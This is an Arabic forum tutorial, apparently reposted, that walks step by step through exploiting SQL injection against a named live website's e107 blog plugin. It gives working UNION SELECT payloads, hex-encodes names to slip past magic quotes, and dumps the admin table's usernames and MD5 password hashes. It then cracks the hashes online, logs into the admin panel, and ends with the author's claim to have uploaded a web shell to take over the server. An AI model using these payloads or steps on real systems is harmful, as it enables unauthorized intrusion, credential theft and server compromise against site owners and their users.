السلام عليكم ورحمة الله وبركاته النهارده هشرحلكم اكتشاف واستغلال ثغرات الحقن "sql injection"
طيب اول حاجة لازم تشوف الدرس الى فات عشان تفهمود درس انهارده :-
====================================
ما معنى ثغرات ال sql injection ولماذا سميت بهذا الاسم؟
=====================================
ثغرات الحقن او ثغرات ال sql injection سميت بالاسم ده نظرا لان الثغرة
تؤدى الى حقن او اضافة query خاص بالمخترق الى query الاصلى الموجود بالاسكربت
===========================================
كيف نكتشف ثغرة ال sql injection.؟
============================================
عشان نكتشف ثغرة sql injection لازم نختبر امكانية حقن ال query
وده من خلال اننا نروح لاى متغير بموقع معين ونضيف اى نص "string" الى المتغير ده
ونشوف لو ظهر لنا ايرور او محتوى الصفحة نقص يبقى كده الموقع مصاب بثغرة الحقن
لانه دخل النص بتاعنا فى ال query الاصلى بالاسكربت وبالتالى فهو مصاب
طيب لو رجعت الصفحة كما كانت يبقى كده تجاهل النص "string" الى ادخلناه
ولم يتم اضافة النص للكويرى الى بالاسكربت وبالتالى الموقع غير قابل للحقن اى غير مصاب ..
=======================================
اختبار " اكتشاف ثغرة sql injection " "تطبيق عملى"
=======================================
طيب عاوزين نطبق الكلام ده عملى انا معايا موقع هشرح عليه :-
نشوف المتغير بالموقع
طيب دلوقتى هختبر الموقع مصاب بثغرة حقن ام لا باضافة ' او اى نص مثلا Dolla
الى المتغير
فى الموقع ده لو ضيفت ال ' بيقولك acess denied قد ينخدع البعض ويفكر الموقع غير مصاب
لاكن انا اقولكم جربو تضيف اى نص مثلا نص Dolla للتاكد
المحتوى اختفى من الصفحة بعد اضافة النص Dolla يبقى الموقع مصاب بالحقن ..
الخطوة الجاية هى معرفة عدد العواميد الى بالquery الموجود بالاسكربت :d
من خلال order+by
===========================================
شرح وظيفة order+by على سبيل الامثلة
==========================================
طيب كتير من الناس موش فاهمة ايه فكرة عمل order by انا اقولكم
فكرة order by وظيفتها انها بترتب نتيجة عواميد معينة بدلالة عمود معين مثلا
كود:
select name,age,job from profile+order+by+1
طيب الكويرى ده هيرتبلنا الاسم والوظيفة والعمر بناء على او بدلالة الاسم "name"
كود:
select name,age,job from profile+order+by+2
هنا الكويرى ده هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود رقم 2 وهو ال العمر "age"
كود:
select name,age,job from profile+order+by+3
هنا الكويرى هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود 3 وهو الوظيفة "job"
كود:
select name,age,job from profile+order+by+4
طيب دلوقتى هنا طبعا هيجبلنا ايرور ليه السبب لان مفيش عمود رابع !!!!
ودى الطريقة الى هنبتعها لمعرفة العواميد فى الكويرى الى بسكربت الموقع المصاب
فانا مثلا هضيف للمتغير
كود:
macgurublog.php?uid=3+order+by+1--
مفيش ايرور ولم ينقص المحتوى .. وده اكيد لان اى query لازم يحتوى على الاقل على عمود
طيب نجرب
كود:
macgurublog.php?uid=3+order+by+2--
المحتوى رجع كامل .. يبقى نجرب
كود:
macgurublog.php?uid=3+order+by+3--
المحتوى رجع كامل .. يبقى نجرب ..
كود:
macgurublog.php?uid=3+order+by+4--
اممم المحتوى نقص .. او ظهر ايرور يبقى انا افهم ان مفيش عمود رابع اى عدد العواميد
هم تلت عواميد .. وده كان على سبيل المثال
افتراضى يعنى
طبعا انا استخدمت "-- " للتعليق لكى تخلى اى جملة تقع بعدها مجرد تعليق تم شرحها
بالدرس السابق :- طيب دلوقتى هنجرب عملى على الموقع المصاب
==================================================
تطبيق Order+By على الموقع المصاب لمعرفة عدد عواميد الquery ألموجود بالاسكربت
==================================================
هجرب اول حاجة
كود:
macgurublog.php?uid=3+order+by+1--
الصفحة رجعت كاملة
طيب يبقى هخليها
كود:
macgurublog.php?uid=3+order+by+2--
محتوى الصفحة اختفى يبقى افهم من كده ان مفيش عمود تانى بالكويرى اى ان عدد عواميد الاسكربت
هو "عمود واحد فقط"
طيب وماذا بعد معرفة عدد العواميد ؟؟ هنتقل للخطوة التالتة وهى استخدام
ال union+select لحقن الquery بتاعنا .. واضافته الى الquery
الموجود بالاسكربت ...
===================================
استخدام ال union+select
==================================
طيب دلوقتى عرفنا ان عدد العواميد 1 يبقى انا هضيف ..
كود:
macgurublog.php?uid=3+union+select+1--
وطبعا لو كان العواميد 2
كنت هضيف :-
كود:
macgurublog.php?uid=3+union+select+2--
ولو تلاتة : كنت هضيف
كود:
macgurublog.php?uid=3+union+select+3--
وهكاذا :-
طيب نشوف الصورة ..
طيب انا ضيف - قبل المتغير 3 عشان اشوف رقم العمود ولقيت رقم العمود 1 ظهر بالصفحة
دلوقتى ممكن احقن الquery الخاص بينا مكان رقم العمود 1
طيب نشوف
===========================================
استخراج :- اسم القاعدة + اسم مستخدم القاعدة +اصدار القاعدة
===================================
هضع مكان العمود 1 :-
كود:
concat(database(),0x3e,user(),0x3e,@@version)
طيب نفسر الحقنة :-
الدالة concat() :تقوم باظهار اكثر من نتيجة بمكان عمود واحد :- يعنى هجيب
نتيجة اسم القاعدة واسم المستخدم واصدار القاعدة بمكان عمود واحد . الى هو العمود رقم 1
0X3E :دى علامة > بس بتشفير الهيكس هفصل بيها بين اسم المستخدم واسم القاعدة
والاصدار
database():لاظهاراسم القاعدة
user():لاظهار اسم مستخدم القاعدة
@@version :لاظهار اصدار القاعدة :-
طيب بعد الاستغلال نشوف الصورة ...
طيب دلوقتى عرفنا اسم القاعدة واصدارها واسم مستخدم القاعدة :- اهم حاجة عندنا
عرفنا اصدار القاعدة انه الخامس لانه بتفرق فى الحقن الاصدار فالاصدار الرابع
يعتمد على تخمين الجداول او معرفة مسبقة باسامى الجداول
اما الاصدار الخامس فيوجد به شىء اسمه ال "schema"ودى فيها اسامى الجداول
والقواعد والعواميد ..
===========================================
حقن الاصدار الخامس واستخراج أسامى عواميد القاعدة من ال schema
========================================
طيب دلوقتى عاوز استخرج جميع اسماء الجداول لقاعدة الاسكربت
الى اسمها ."turkijeappartem"
هشيل رقم 1 :- واضيف: -
كود:
group_concat(table_name)
+from+information_schema.tables+where+table_schema='t
urkijeappartem'--
table_name :ده عمود الى فيه جميع اسماء جداول القاعدة
infomation_schema.tables : ده جدول tables الى يحتوى على عمود
table_name ..
turkijeappartem : دى اسم القاعدة الى هستخرج اسامى جداولها ..
وانا وضعتها بين علامة التنصيص '' لانها string اى نص
طيب دلوقتى فى مشكلة .. ان لو الماجيك كوتس اون هيمنعنى انى اضيف ال ''
لانه هيحط / قبل ال ' والدنيا هتبوظ عشان كده هشفر اسم القاعدة بالهيكس
وهيكون الاستغلال كده
كود:
http://www.turkijeappartement.be/e107_plugins/macguru
blog_menu/macgurublog.php?uid=-
3+union+select+group_concat(table_name)
+from+information_schema.tables+where+table_Schema=0x
7475726B696A65617070617274656D--
نشوف الصورة ..
طيب جميل دلوقتى ظهرت لنا اسامى الجداول كلها انا دلوقتى هختار اسم الجدول
الى فيه اسم وكلمة مرور الادمن وغالبا يكون
login او admin او user
طيب اانا شفت اسم الجدول : وطلع "e107_user"
دلوقتى
عاوز اجيب جميع عواميد الجدول e107_user
هشيل رقم 1 واضع :-
كود:
group_concat(column_name)
+from+information_schema.columns+where+table_name=0x6
53130375f75736572--
informaion_schema.columns :فيه جميع اسماء العواميد
table_name=0x653130375f75736572 :- عشان اجيب جميع عواميد
الجدول e107_user وبالنسبة لى "0x653130375f75736572"
ده اسم الجدول e107_user بس بتشفير الهيكس لتخطى ال Magic Quotes
طيب الاستغلال كامل هيبقى
كود:
http://www.turkijeappartement.be/e107_plugins/macguru
blog_menu/macgurublog.php?uid=-
3+union+select+group_concat(column_name)
+from+information_schema.columns+where+table_name=0x6
53130375f75736572--
نشوف الصورة ...
ظهرت لنا جميع اسماء العواميد طيب دلوقتى بقى انا هشوف اسماء عواميد اسم المستخدم
وكلمة المرور وودجت اسمائهم
user_name و user_password
جميل وعندنا اسم الجدول الى هو :e107_user
طيب يبقى كده وصلنا .. هضيف المرة دى بدل رقم 1
كود:
concat(user_name,0x3e,user_password)
+from+e107_user--
طيب نشوف الصورة ...
جميل ظهر لنا اسم الادمن والباس مشفر
نروح دلوقتى لاى موقع فك تشفير ال md5
زى موقع :-
www.md5crack.comوبعد فك تشفير الباصورد ... نروح لمسار الادمن e107_admin
ونكتب اسم الادمن والباصورد .. تم دخول الوحة
طيب بعد مدخلت الوحة ممكن ترفع اندكسك او ترفع شيل وتخترق السيرفر كلو ..
انا قدرت ارفع شيل
تم الشرح بحمدالله ..
منقول للإفادة